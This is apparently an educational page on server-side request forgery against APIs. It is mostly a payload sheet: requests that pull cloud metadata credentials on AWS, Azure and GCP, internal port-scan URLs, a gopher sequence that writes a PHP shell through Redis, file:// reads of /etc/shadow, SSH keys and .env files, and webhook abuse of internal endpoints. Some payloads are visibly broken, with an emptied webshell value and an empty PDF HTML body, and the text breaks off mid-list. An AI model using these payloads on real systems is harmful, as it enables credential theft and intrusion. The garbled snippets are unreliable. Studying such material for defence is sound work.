API07: Server Side Request Forgery - Attack Vectors
Table of Contents
- Understanding SSRF Attack Vectors
- Common Attack Patterns
- Cloud Metadata Exploitation
- Internal Network Access
- SSRF Bypass Techniques
Understanding SSRF Attack Vectors
> ⚠️ EDUCATIONAL PURPOSE ONLY
SSRF exploits occur when attackers can control URLs that servers fetch, allowing them to:
- Access internal services not exposed to the internet
- Read cloud metadata containing credentials
- Scan internal networks
- Access file systems
- Bypass firewalls and access controls
Core Attack Flow
``
- Discover URL Input
↓
Find parameters accepting URLs (webhooks, imports, images)
- Test for SSRF
↓
Submit internal URLs (localhost, 169.254.169.254)
- Exploit
↓
Access metadata, internal services, files
- Escalate
↓
Use stolen credentials for further access
`
Common Attack Patterns
1. AWS Metadata Service Exploitation
Target: http://169.254.169.254/latest/meta-data/
Attack Flow:
`
- Test basic access:
http://169.254.169.254/latest/meta-data/
- Enumerate IAM roles:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
- Extract credentials:
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]
- Response contains:
- AccessKeyId
- SecretAccessKey
- Token
`
Real Attack Example:
`http
POST /api/import-data
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
Response: ["ec2-role-name"]
POST /api/import-data
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"
}
Response:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "..."
}
`
2. Azure Metadata Exploitation
Target: http://169.254.169.254/metadata/instance?api-version=2021-02-01
Required Header: Metadata: true
Attack:
`http
GET http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Response:
{
"access_token": "eyJ0eXAi...",
"expires_in": "3599",
"resource": "https://management.azure.com/",
"token_type": "Bearer"
}
`
3. GCP Metadata Exploitation
Target: http://metadata.google.internal/computeMetadata/v1/
Required Header: Metadata-Flavor: Google
Attack Endpoints:
`
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-id
http://metadata.google.internal/computeMetadata/v1/instance/attributes/
`
4. Internal Service Scanning
Port Scanning:
`
http://192.168.1.1:22 (SSH)
http://192.168.1.1:3306 (MySQL)
http://192.168.1.1:6379 (Redis)
http://192.168.1.1:8080 (Jenkins)
http://192.168.1.1:9200 (Elasticsearch)
`
Service Enumeration:
- Test common ports
- Identify running services
- Find admin interfaces
- Locate databases
5. Redis Exploitation via SSRF
Attack:
`
http://localhost:6379/
`
Commands via URL:
Using gopher protocol:
`
gopher://localhost:6379/_SET%20admin%20true
gopher://localhost:6379/_CONFIG%20SET%20dir%20/var/www/html
gopher://localhost:6379/_CONFIG%20SET%20dbfilename%20shell.php
gopher://localhost:6379/_SET%20payload%20""
gopher://localhost:6379/_SAVE
`
6. File System Access
File Protocol:
`
file:///etc/passwd
file:///proc/self/environ
file:///var/www/html/config.php
file://C:/Windows/win.ini
`
Sensitive Files:
/etc/passwd, /etc/shadow
/proc/self/environ (environment variables)
~/.ssh/id_rsa (SSH keys)
/var/www/html/.env (application secrets)
C:/inetpub/wwwroot/web.config
7. Webhook Abuse
Attack:
`http
POST /api/webhook/register
{
"callback_url": "http://internal-admin:8080/api/delete-all-data"
}
`
Impact:
- Trigger internal actions
- CSRF on internal systems
- Data manipulation
- Service disruption
8. PDF/HTML Rendering SSRF
Attack:
`http
POST /api/generate-pdf
{
"html": "
"
}
`
Also works with: